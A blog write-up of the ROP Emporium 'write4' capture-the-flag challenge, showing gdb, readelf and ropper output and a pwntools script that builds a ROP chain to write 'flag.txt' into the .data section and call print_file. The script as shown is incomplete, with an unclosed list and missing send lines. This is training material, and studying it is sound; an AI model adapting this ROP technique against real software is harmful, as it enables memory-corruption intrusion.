ropemporium: write4

Jul 4, 2024 security rop

Table Of Contents


Happy July 4th. This is going to be a writeup of the ropemporium: write4 challenge so if you don’t want spoilers for that, read another post.

This challenge is where it starts to get interesting. The goal is the same (to print out the flag.txt file), but there’s no pre-arranged string hidden in the binary like /bin/cat flag.txt which we can feed directly into a system call to do what we want.


The first thing we always need to do is look at the symbol table for interesting names:

nm write4| grep ' t'
0000000000400560 t deregister_tm_clones
00000000004005d0 t __do_global_dtors_aux
0000000000400600 t frame_dummy
0000000000400590 t register_tm_clones
0000000000400617 t usefulFunction
0000000000400628 t usefulGadgets

Right off the bat we have some leads. Let’s load these into gdb and see what we’re working with:

gdb -q write4       
Reading symbols from write4...
(No debugging symbols found in write4)
(gdb) disass usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400617 <+0>:     push   %rbp
   0x0000000000400618 <+1>:     mov    %rsp,%rbp
   0x000000000040061b <+4>:     mov    $0x4006b4,%edi
   0x0000000000400620 <+9>:     call   0x400510 <print_file@plt>
   0x0000000000400625 <+14>:    nop
   0x0000000000400626 <+15>:    pop    %rbp
   0x0000000000400627 <+16>:    ret
End of assembler dump.
(gdb) disass usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x0000000000400628 <+0>:     mov    %r15,(%r14)
   0x000000000040062b <+3>:     ret
   0x000000000040062c <+4>:     nopl   0x0(%rax)
End of assembler dump.

What looks interesting right away? At 0x40061b we are loading the contents of the address 0x4006b4 into rdi. What’s there now?

(gdb) x/s 0x4006b4
0x4006b4:       "nonexistent"

And at 0x400620 we call some function called print_file. Which is the entire goal of the challenge, if we can get our flag.txt to be called there.

So the original authors of the binary intended rdi to contain an address pointing to this string, and our job is to call print_file after loading a different address into rdi: perhaps somewhere we have written our own string.

At this point our high-level outline of a ROP chain comes into view:

What about the usefulGadgets? This was actually represented two different ways on two machines for me. On the first linux box I wrote this post on, it looked like this:

(gdb) disass usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x0000000000400628 <+0>:	mov    QWORD PTR [r14],r15
   0x000000000040062b <+3>:	ret
   0x000000000040062c <+4>:	nop    DWORD PTR [rax+0x0]
End of assembler dump.

Here’s a good explanation of the mov QWORD PTR instruction.. The gist of it is simple: mov instructions are of the form mov target, source, and the QWORD PTR and brackets mean to treat whatever is in the first operand as an address.

So this is how we will achieve writing to an arbitrary address in the process’s virtual address space.

recap: what we have so far

We can:

What do we need now? We need:

  1. a writeable address ($that_address)
  2. a way to write $that_address into r14
  3. a way to write “flag.txt” into r15
  4. a way to write $that_address into rdi

finding a writeable address

What are the writeable sections of the binary?

Long output here. Feel free to scroll past it.

readelf -S write4
There are 29 section headers, starting at offset 0x1980:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400238  00000238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254
       0000000000000020  0000000000000000   A       0     0     4
  [ 3] .note.gnu.bu[...] NOTE             0000000000400274  00000274
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298
       0000000000000038  0000000000000000   A       5     0     8
  [ 5] .dynsym           DYNSYM           00000000004002d0  000002d0
       00000000000000f0  0000000000000018   A       6     1     8
  [ 6] .dynstr           STRTAB           00000000004003c0  000003c0
       000000000000007c  0000000000000000   A       0     0     1
  [ 7] .gnu.version      VERSYM           000000000040043c  0000043c
       0000000000000014  0000000000000002   A       5     0     2
  [ 8] .gnu.version_r    VERNEED          0000000000400450  00000450
       0000000000000020  0000000000000000   A       6     1     8
  [ 9] .rela.dyn         RELA             0000000000400470  00000470
       0000000000000030  0000000000000018   A       5     0     8
  [10] .rela.plt         RELA             00000000004004a0  000004a0
       0000000000000030  0000000000000018  AI       5    22     8
  [11] .init             PROGBITS         00000000004004d0  000004d0
       0000000000000017  0000000000000000  AX       0     0     4
  [12] .plt              PROGBITS         00000000004004f0  000004f0
       0000000000000030  0000000000000010  AX       0     0     16
  [13] .text             PROGBITS         0000000000400520  00000520
       0000000000000182  0000000000000000  AX       0     0     16
  [14] .fini             PROGBITS         00000000004006a4  000006a4
       0000000000000009  0000000000000000  AX       0     0     4
  [15] .rodata           PROGBITS         00000000004006b0  000006b0
       0000000000000010  0000000000000000   A       0     0     4
  [16] .eh_frame_hdr     PROGBITS         00000000004006c0  000006c0
       0000000000000044  0000000000000000   A       0     0     4
  [17] .eh_frame         PROGBITS         0000000000400708  00000708
       0000000000000120  0000000000000000   A       0     0     8
  [18] .init_array       INIT_ARRAY       0000000000600df0  00000df0
       0000000000000008  0000000000000008  WA       0     0     8
  [19] .fini_array       FINI_ARRAY       0000000000600df8  00000df8
       0000000000000008  0000000000000008  WA       0     0     8
  [20] .dynamic          DYNAMIC          0000000000600e00  00000e00
       00000000000001f0  0000000000000010  WA       6     0     8
  [21] .got              PROGBITS         0000000000600ff0  00000ff0
       0000000000000010  0000000000000008  WA       0     0     8
  [22] .got.plt          PROGBITS         0000000000601000  00001000
       0000000000000028  0000000000000008  WA       0     0     8
  [23] .data             PROGBITS         0000000000601028  00001028
       0000000000000010  0000000000000000  WA       0     0     8
  [24] .bss              NOBITS           0000000000601038  00001038
       0000000000000008  0000000000000000  WA       0     0     1
  [25] .comment          PROGBITS         0000000000000000  00001038
       0000000000000029  0000000000000001  MS       0     0     1
  [26] .symtab           SYMTAB           0000000000000000  00001068
       0000000000000618  0000000000000018          27    46     8
  [27] .strtab           STRTAB           0000000000000000  00001680
       00000000000001f6  0000000000000000           0     0     1
  [28] .shstrtab         STRTAB           0000000000000000  00001876
       0000000000000103  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  D (mbind), l (large), p (processor specific)

This would indicate the .init_array, .fini_array, .dynamic, .got, .got.plt, .data, .bss sections of our process space are all writeable.

What are the sizes of those sections? Some of them will be listed with size:

size write4
   text	   data	    bss	    dec	    hex	filename
   1502	    584	      8	   2094	    82e	write4

Let’s just try like, the data section since that has plenty of space. That starts at address 0x601028 (from output above or readelf -t write4).

writing into r14, r15, and rdi (let’s use ropper)

At this point, I decided to try out the ropper tool. It has a lot of cool customization options, but we won’t need any right now.

Let’s look for a way to write to r14:

ropper --file write4 | grep r14
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000400628: mov qword ptr [r14], r15; ret; 
0x000000000040068c: pop r12; pop r13; pop r14; pop r15; ret; 
0x000000000040068e: pop r13; pop r14; pop r15; ret; 
0x0000000000400690: pop r14; pop r15; ret; 
0x000000000040068b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret; 
0x000000000040068f: pop rbp; pop r14; pop r15; ret; 
0x000000000040068d: pop rsp; pop r13; pop r14; pop r15; ret;

The gadget at 0x400690 will do that, and also takes care of writing to r15 while we’re at it!


Although we could also use 0x40068c or 0x40068e if we were careful to pad the stack. Notice, actually, that these are all basically the same big gadget starting at different addresses, with each instruction separated by two bytes.

0x40068b pop rbp
0x40068c pop r12 (0x40068d pop rsp)
0x40068e pop r13 (0x40068f pop rbp)
0x400690 pop r14
0x400692 pop r15 # verify for yourself

How about one to get our address into rdi?

ropper --file write4 | grep rdi
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000400693: pop rdi; ret;

0x400693 which appears to be the very next instruction. Sick.

final rop chain

Now we can start constructing our functional ROP chain.


I’ll keep it 100 with you: I don’t find it useful at this point to build these ROP chains in shellcode. It’s still possible and I’ve done it, but it’s the same process as before with nothing really special about it. So I will just post the pwntools Python code below which is much more readable. If you really want the breakdown for the shellcode, email me and I’ll post it here.

from pwn import *

prog = process("./write4")

payload = b'A' * 40

r14_r15_gadget = 0x400690
data_section = 0x601028
# Or you could do it like this
# flag_txt = 0x74_78_74_2e_67_61_6c_66
flag_txt = int.from_bytes(b'flag.txt', 'little')
useful_gadget = 0x400628
rdi_gadget = 0x400693
print_file = 0x400510

payload_order = [
        r14_r15_gadget, data_section, flag_txt,
        rdi_gadget, data_section,

payload += b''.join([p64(addr) for addr in payload_order])



[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/christopherrmullins/.cache/.pwntools-cache-3.11/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or /home/christopherrmullins/.config/pwn.conf (or /etc/pwn.conf system-wide):
[*] You have the latest version of Pwntools (4.12.0)
[+] Starting local process './write4': pid 4126
b'write4 by ROP Emporium\nx86_64\n\nGo ahead and give me the input already!\n\n>'
b'Thank you!\nROPE{a_placeholder_32byte_flag!}\n'
[*] Stopped process './write4' (pid 4126)